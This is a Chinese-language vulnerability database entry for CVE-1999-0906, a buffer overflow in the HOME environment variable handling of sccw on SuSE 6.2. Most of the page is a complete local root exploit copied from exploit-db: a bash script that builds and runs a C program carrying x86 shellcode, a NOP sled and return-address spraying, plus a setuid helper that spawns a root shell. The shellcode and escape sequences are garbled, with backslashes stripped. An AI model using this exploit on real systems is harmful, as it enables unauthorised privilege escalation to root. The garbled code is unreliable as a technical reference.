SuSE sscw HOME环境变量缓冲区溢出漏洞

SuSE sscw HOME环境变量缓冲区溢出漏洞

漏洞ID 1105549 漏洞类型 缓冲区溢出
发布时间 1999-09-23 更新时间 2005-05-02
图片[1]-SuSE sscw HOME环境变量缓冲区溢出漏洞-安全小百科CVE编号 CVE-1999-0906
图片[2]-SuSE sscw HOME环境变量缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-199909-044
漏洞平台 Linux CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/19508
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199909-044
|漏洞详情
sccw中存在缓冲区溢出漏洞。本地用户利用该漏洞通过HOME环境变量获得根访问。
|漏洞EXP
source: http://www.securityfocus.com/bid/656/info

A buffer overflow vulnerability in sscw's handling of the HOME environment variable allows local users to gain root privileges. 

#!/bin/bash
#
# Linux x86 exploit for /usr/bin/sccw on SuSE 6.2
#
# -Brock Tellier [email protected]

echo "Building /tmp/sccwx.c..."
cat > /tmp/sccwx.c << FOEFOE
/*
 * sccw local root Linux x86 tested on SuSE 6.2
 * gcc -o sccwx sccwx.c
 * must compile/run a setuid(geteuid()); system("/bin/bash"); for a
rootshell
 *
 * -Brock Tellier [email protected]
 */


#include <stdlib.h>
#include <stdio.h>

char exec[]= /* Generic Linux x86 running our /tmp program */
  "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
  "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
  "x80xe8xdcxffxffxff/tmp/sc";



#define LEN 400
#define NOP 0x90

unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}


void main(int argc, char *argv[]) {

int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];

 if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffern", argv[0]);
 exit(0);
 }
 else if (argc == 2){
   offset=atoi(argv[1]);

 }
 else if (argc == 3) {
   offset=atoi(argv[1]);
   buflen=atoi(argv[2]);

 }
 else {
   offset=2100;
   buflen=300;

 }


addr=get_sp();

fprintf(stderr, "SuSE 6.2 sccw local rootn");
fprintf(stderr, "Brock Tellier [email protected]");
fprintf(stderr, "Using addr: 0x%xn", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),exec,strlen(exec));
for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4)
 *(int *)&buf[i]=addr+offset;

setenv("HOME", buf, 1);
execl("/usr/bin/sccw", "sccw", NULL);

}
FOEFOE

echo "Building /tmp/sccwuid.c..."

cat > /tmp/sccwuid.c <<EOFFOE
void main()
{
    setuid(geteuid());
    system("/bin/bash");
}
EOFFOE

echo "Compiling /tmp/sccwx..."
gcc -o /tmp/sccwx /tmp/sccwx.c

echo "Compiling /tmp/sc..."
gcc -o /tmp/sc /tmp/sccwuid.c

echo "Launching /tmp/sccwx..."
/tmp/sccwx
echo "If it didn't work, try /tmp/sccwx <offset> <bufsiz>"
|参考资料

来源:BID
名称:656
链接:http://www.securityfocus.com/bid/656

相关推荐: IBM AIX libdiag Trace File Symlink Vulnerability

IBM AIX libdiag Trace File Symlink Vulnerability 漏洞ID 1102996 漏洞类型 Access Validation Error 发布时间 2001-08-10 更新时间 2001-08-10 CVE编号 N…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享